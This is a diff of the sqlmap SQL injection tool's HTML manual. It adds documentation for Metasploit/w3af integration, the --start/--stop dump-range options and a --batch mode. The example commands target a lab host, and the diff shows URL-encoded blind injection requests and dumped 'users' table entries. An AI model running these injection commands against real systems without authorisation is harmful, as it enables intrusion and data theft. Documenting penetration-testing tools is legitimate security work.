@@ -245,8 +245,8 @@ <H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
245245On the dynamic ones sqlmap automatically tests and detects the ones
246246affected by SQL injection. Each dynamic parameter is tested for
247247< EM > numeric</ EM > , < EM > single quoted string</ EM > , < EM > double quoted
248- string</ EM > and all of these three datatypes with zero, one and two
249- parenthesis to correctly detect which is the < CODE > SELECT</ CODE > statement syntax to
248+ string</ EM > and all of these three datatypes with zero to two parenthesis
249+ to correctly detect which is the < CODE > SELECT</ CODE > statement syntax to
250250perform further injections with. It is also possible to specify the
251251parameter(s) that you want to perform tests and use for injection on.</ LI >
252252< LI > Option to specify the < B > maximum number of concurrent HTTP
@@ -277,6 +277,9 @@ <H2><A NAME="s2">2.</A> <A HREF="#toc2">Features</A></H2>
277277< LI > Support to read options from a configuration INI file rather than
278278specify each time all of the options on the command line. Support also to
279279save command line options on a configuration INI file.</ LI >
280+ < LI > Integration with other IT security related open source projects,
281+ < A HREF ="http://metasploit.com/framework/ "> Metasploit</ A > and
282+ < A HREF ="http://w3af.sourceforge.net/ "> w3af</ A > .</ LI >
280283< LI > < B > PHP setting < CODE > magic_quotes_gpc</ CODE > bypass</ B > by encoding
281284every query string, between single quotes, with < CODE > CHAR</ CODE > , or similar,
282285database management system function.</ LI >
@@ -292,19 +295,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
292295< P >
293296< UL >
294297< LI >
295- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
298+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
296299< LI >
297- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
300+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
298301< LI >
299- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. zip "> Source zip compressed</ A > operating system independent.</ LI >
302+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.zip "> Source zip compressed</ A > operating system independent.</ LI >
300303< LI >
301- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1.1 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
304+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1-1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
302305other Debian derivated GNU/Linux distribution.</ LI >
303306< LI >
304- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
307+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1-1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
305308other operating system that can install RPM packages.</ LI >
306309< LI >
307- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1. 1_exe.zip "> Portable executable for Windows</ A > that < B > does not require the Python
310+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1_exe.zip "> Portable executable for Windows</ A > that < B > does not require the Python
308311interpreter</ B > to be installed on the operating system.</ LI >
309312</ UL >
310313</ P >
@@ -331,7 +334,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
331334< PRE >
332335$ python sqlmap.py -h
333336
334- sqlmap/0.6.1
.1 coded by Bernardo Damele A. G. <
[email protected] > 337+ sqlmap/0.6.1 coded by Bernardo Damele A. G. <
[email protected] > 335338 and Daniele Bellucci <
[email protected] > 336339
337340Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file> }
@@ -379,13 +382,16 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
379382 --dbs Enumerate DBMS databases
380383 --tables Enumerate DBMS database tables (opt: -D)
381384 --columns Enumerate DBMS database table columns (req: -T, -D)
382- --dump Dump DBMS database table entries (req: -T, -D opt: -C)
385+ --dump Dump DBMS database table entries (req: -T, -D opt: -C,
386+ --start, --stop)
383387 --dump-all Dump all DBMS databases tables entries
384388 -D DB DBMS database to enumerate
385389 -T TBL DBMS database table to enumerate
386390 -C COL DBMS database table column to enumerate
387391 -U USER DBMS user to enumerate
388392 --exclude-sysdbs Exclude DBMS system databases when enumerating tables
393+ --start=LIMITSTART First table entry to dump
394+ --stop=LIMITSTOP Last table entry to dump
389395 --sql-query=QUERY SQL SELECT query to be executed
390396 --sql-shell Prompt for an interactive SQL shell
391397
@@ -417,6 +423,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
417423 -s SESSIONFILE Save and resume all data retrieved on a session file
418424 -c CONFIGFILE Load options from a configuration INI file
419425 --save Save options on a configuration INI file
426+ --batch Never ask for user input, use the default behaviour
420427</ PRE >
421428</ CODE > </ BLOCKQUOTE >
422429</ P >
@@ -528,7 +535,7 @@ <H3>Target URL and verbosity</H3>
528535[hh:mm:28] [TRAFFIC OUT] HTTP request:
529536GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
530537Host: 192.168.1.121:80
531- User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
538+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
532539Connection: close
533540[...]
534541[hh:mm:29] [INFO] testing MySQL
@@ -537,7 +544,7 @@ <H3>Target URL and verbosity</H3>
537544GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
538545CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
539546Host: 192.168.1.121:80
540- User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
547+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
541548Connection: close
542549[...]
543550</ PRE >
@@ -555,7 +562,7 @@ <H3>Target URL and verbosity</H3>
555562[hh:mm:32] [TRAFFIC OUT] HTTP request:
556563GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
557564Host: 192.168.1.121:80
558- User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
565+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
559566Connection: close
560567
561568[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -573,7 +580,7 @@ <H3>Target URL and verbosity</H3>
573580GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
574581CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
575582Host: 192.168.1.121:80
576- User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
583+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
577584Connection: close
578585
579586[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -600,7 +607,7 @@ <H3>Target URL and verbosity</H3>
600607[hh:mm:23] [TRAFFIC OUT] HTTP request:
601608GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
602609Host: 192.168.1.121:80
603- User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
610+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
604611Connection: close
605612
606613[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2042,7 +2049,8 @@ <H3>Database table columns</H3>
20422049
20432050< H3 > Dump database tables entries</ H3 >
20442051
2045- < P > Options: < CODE > --dump</ CODE > , < CODE > -C</ CODE > , < CODE > -T</ CODE > and < CODE > -D</ CODE > </ P >
2052+ < P > Options: < CODE > --dump</ CODE > , < CODE > -C</ CODE > , < CODE > -T</ CODE > , < CODE > -D</ CODE > ,
2053+ < CODE > --start</ CODE > and < CODE > --stop</ CODE > </ P >
20462054
20472055< P > It is possible to dump the entries for a specific database table.
20482056This functionality depends on both < CODE > -T</ CODE > to specify the table name
@@ -2058,15 +2066,15 @@ <H3>Dump database tables entries</H3>
20582066Database: test
20592067Table: users
20602068[5 entries]
2061- +----+--------------------------------------------+-------------------+
2062- | id | name | surname |
2063- +----+--------------------------------------------+-------------------+
2064- | 1 | luther | blissett |
2065- | 2 | fluffy | bunny |
2066- | 3 | wu | ming |
2069+ +----+---------------------------------------------- +-------------------+
2070+ | id | name | surname |
2071+ +----+---------------------------------------------- +-------------------+
2072+ | 1 | luther | blissett |
2073+ | 2 | fluffy | bunny |
2074+ | 3 | wu | ming |
20672075| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2068- | 5 | NULL | nameisnull |
2069- +----+--------------------------------------------+-------------------+
2076+ | 5 | NULL | nameisnull |
2077+ +----+---------------------------------------------- +-------------------+
20702078</ PRE >
20712079</ CODE > </ BLOCKQUOTE >
20722080</ P >
@@ -2112,15 +2120,15 @@ <H3>Dump database tables entries</H3>
21122120Database: public
21132121Table: users
21142122[5 entries]
2115- +----+--------------------------------------------+-------------------+
2116- | id | name | surname |
2117- +----+--------------------------------------------+-------------------+
2118- | 1 | luther | blissett |
2119- | 2 | fluffy | bunny |
2120- | 3 | wu | ming |
2123+ +----+---------------------------------------------- +-------------------+
2124+ | id | name | surname |
2125+ +----+---------------------------------------------- +-------------------+
2126+ | 1 | luther | blissett |
2127+ | 2 | fluffy | bunny |
2128+ | 3 | wu | ming |
21212129| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2122- | 5 | | nameisnull |
2123- +----+--------------------------------------------+-------------------+
2130+ | 5 | | nameisnull |
2131+ +----+---------------------------------------------- +-------------------+
21242132
21252133[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
21262134192.168.1.121/dump/public/users.csv'
@@ -2138,6 +2146,40 @@ <H3>Dump database tables entries</H3>
21382146</ CODE > </ BLOCKQUOTE >
21392147</ P >
21402148
2149+ < P > You can also provide the < CODE > --start</ CODE > and/or the < CODE > --stop</ CODE > option
2150+ to limit the dump to a range of entries.</ P >
2151+ < P >
2152+ < UL >
2153+ < LI > < CODE > --start</ CODE > specifies the first entry to enumerate</ LI >
2154+ < LI > < CODE > --stop</ CODE > specifies the last entry to enumerate</ LI >
2155+ </ UL >
2156+ </ P >
2157+
2158+ < P > Example on a < B > MySQL 5.0.51</ B > target:</ P >
2159+ < P >
2160+ < BLOCKQUOTE > < CODE >
2161+ < PRE >
2162+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
2163+ -T users -D test --start 2 --stop 4
2164+
2165+ Database: test
2166+ Table: users
2167+ [3 entries]
2168+ +----+----------------------------------------------+-------------------+
2169+ | id | name | surname |
2170+ +----+----------------------------------------------+-------------------+
2171+ | 2 | fluffy | bunny |
2172+ | 3 | wu | ming |
2173+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2174+ +----+----------------------------------------------+-------------------+
2175+ </ PRE >
2176+ </ CODE > </ BLOCKQUOTE >
2177+ </ P >
2178+
2179+ < P > As you can see, sqlmap is very flexible: you can leave it automatically
2180+ enumerate the whole database table up to a single column of a specific
2181+ table entry.</ P >
2182+
21412183
21422184< H3 > Dump all databases tables entries</ H3 >
21432185
@@ -2153,15 +2195,15 @@ <H3>Dump all databases tables entries</H3>
21532195Database: test
21542196Table: users
21552197[5 entries]
2156- +----+--------------------------------------------+-------------------+
2157- | id | name | surname |
2158- +----+--------------------------------------------+-------------------+
2159- | 1 | luther | blissett |
2160- | 2 | fluffy | bunny |
2161- | 3 | wu | ming |
2198+ +----+---------------------------------------------- +-------------------+
2199+ | id | name | surname |
2200+ +----+---------------------------------------------- +-------------------+
2201+ | 1 | luther | blissett |
2202+ | 2 | fluffy | bunny |
2203+ | 3 | wu | ming |
21622204| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2163- | 5 | NULL | nameisnull |
2164- +----+--------------------------------------------+-------------------+
2205+ | 5 | NULL | nameisnull |
2206+ +----+---------------------------------------------- +-------------------+
21652207
21662208Database: information_schema
21672209Table: CHARACTER_SETS
@@ -2246,15 +2288,15 @@ <H3>Dump all databases tables entries</H3>
22462288Database: master
22472289Table: users
22482290[5 entries]
2249- +----+--------------------------------------------+-------------------+
2250- | id | name | surname |
2251- +----+--------------------------------------------+-------------------+
2291+ +----+---------------------------------------------- +-------------------+
2292+ | id | name | surname |
2293+ +----+---------------------------------------------- +-------------------+
22522294| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2253- | 2 | fluffy | bunny |
2254- | 1 | luther | blisset |
2255- | 3 | wu | ming |
2256- | 5 | NULL | nameisnull |
2257- +----+--------------------------------------------+-------------------+
2295+ | 2 | fluffy | bunny |
2296+ | 1 | luther | blisset |
2297+ | 3 | wu | ming |
2298+ | 5 | NULL | nameisnull |
2299+ +----+---------------------------------------------- +-------------------+
22582300
22592301[...]
22602302</ PRE >
@@ -3123,7 +3165,8 @@ <H3>Save options on a configuration INI file</H3>
31233165
31243166< P > Option: < CODE > --save</ CODE > </ P >
31253167
3126-
3168+ < P > It is possible to save the command line options to a configuration INI
3169+ file.</ P >
31273170
31283171< P > Example on a < B > PostgreSQL 8.2.7</ B > target:</ P >
31293172< P >
@@ -3231,6 +3274,53 @@ <H3>Save options on a configuration INI file</H3>
32313274</ P >
32323275
32333276
3277+ < H3 > Act in non-interactive mode</ H3 >
3278+
3279+ < P > Option: < CODE > --batch</ CODE > </ P >
3280+
3281+ < P > If you want sqlmap to run as a batch tool, without interacting with you in
3282+ case of a choice has to be done, you can force it by using < CODE > --batch</ CODE >
3283+ option than letting sqlmap go for a default behaviour.</ P >
3284+
3285+ < P > Example on a < B > MySQL 5.0.51</ B > target:</ P >
3286+ < P >
3287+ < BLOCKQUOTE > < CODE >
3288+ < PRE >
3289+ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" -v 1 \
3290+ --batch
3291+
3292+ [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
3293+ [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
3294+ [hh:mm:22] [INFO] GET parameter 'id' is dynamic
3295+ [hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
3296+ [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
3297+ [hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
3298+ [hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
3299+ [hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
3300+ [hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
3301+ [hh:mm:22] [INFO] GET parameter 'name' is dynamic
3302+ [hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
3303+ [hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
3304+ [hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
3305+ [hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
3306+ [hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
3307+ [hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
3308+ [hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
3309+ [0] place: GET, parameter: id, type: numeric (default)
3310+ [1] place: GET, parameter: name, type: stringsingle
3311+ [q] Quit
3312+ Choice: 0
3313+ [hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
3314+ [...]
3315+ back-end DBMS: MySQL > = 5.0.0
3316+ </ PRE >
3317+ </ CODE > </ BLOCKQUOTE >
3318+ </ P >
3319+
3320+ < P > As you can see, sqlmap choosed automatically to injection on the first
3321+ vulnerable parameter which is the default behaviour.</ P >
3322+
3323+
32343324< H2 > < A NAME ="s6 "> 6.</ A > < A HREF ="#toc6 "> Disclaimer</ A > </ H2 >
32353325
32363326< P > sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
0 commit comments